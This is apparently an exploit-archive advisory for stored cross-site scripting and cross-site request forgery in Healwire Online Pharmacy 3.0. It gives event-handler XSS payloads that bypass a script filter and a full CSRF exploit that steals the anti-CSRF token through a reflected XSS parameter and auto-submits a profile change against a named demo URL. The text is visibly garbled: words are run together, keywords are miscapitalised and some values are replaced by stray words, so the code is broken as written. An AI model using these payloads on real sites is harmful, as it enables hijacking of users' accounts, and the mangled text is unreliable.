Healwire Online Pharmacy 3.0 Cross Site Request forgery/cross Site Scripting

Healwire Online Pharmacy version 3.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | Exploit, vulnerability, XSS, CSRF

MD5 |9196695291014c0d67db9bdd80d678ff

# Exploit Title:healwire Online Pharmacy3.0-Persistent Cross-site scripting/cross-Site Request forgery# Date:2018- to- -# Exploit author:l0rd# Vendor Homepage:https://codecanyon.net/item/healwire-online-pharmacy/16423338?s_rank=1499# Version:3.0# tested On:windows # POC1: Cross Site Scripting:1) Create a account and go to your profile.2) When we want to put"<script></script>" inchThe fields,"Script"Would bereplaced withNULL. So we can bypass ThisFilter byusingJavascript's Events like"onmouseover"Or"Oninput" . Put one of these payloads into the fields:1-"oninput=alert (' XSS ')"2-"onmouseover=alert (' XSS ')"3) You'llGetAn alert box inside the page. (After put something intothe fields or move mouse on the fields) # POC2: cross-Site Request forgery: # with CSRF Vulnerability,attacker can easily change user's authentication.# soinch  ThisScript, we have ANTI-CSRF tokens. We can't change user's# information without token.# but there isA vulnerable parameter which has reflected XSSinchanother page# of Thisscript.# http://store.webandcrafts.com/demo/healwire/?msg= [We have reflected XSS here]# Now we can bypass ANTI-CSRF by ThisParameter andusingjavascript: # Exploit:"/><form action="http://STORE.WEBANDCRAFTS.COM/DEMO/HEALWIRE/USER/UPDATE-DETAILS-USER/1 "Method="POST"><input type="Hidden"Name="first_name"Value="a"/><input type="Hidden"Name="Address"value=""Oninput=alert (Document.domain)""/><input type="Hidden"Name="Pincode"Value="a"/><input type="Hidden"Name="Phone"Value="100000000"/><input type="Hidden"Name="last_name"Value="anything"/><input type="Hidden"Name="_token"Value=""/></form><script>vartoken =' ';varreq =NewXMLHttpRequest (); Req.onreadystatechange=function () {if( This. ReadyState = =4&& This. Status = = $){varSecpage = This. Responsexml;token= secpage.forms[0].elements[0].value;console.log (token);}} Req.open ("GET","/demo/healwire/account-page",true); Req.responsetype="Document"; Req.send (); Window.settimeout (function () {document.forms[0].elements[5].value =token;document.forms[0].submit ();}, the)</script># You can also send2Ajax requests instead ofusingform. # Encode ThisPayload and put ThisInto"msg"parameter# JSON result after3Seconds:status"SUCCESS"msg"User profile Updated!"

Healwire Online Pharmacy 3.0 Cross Site Request forgery/cross Site Scripting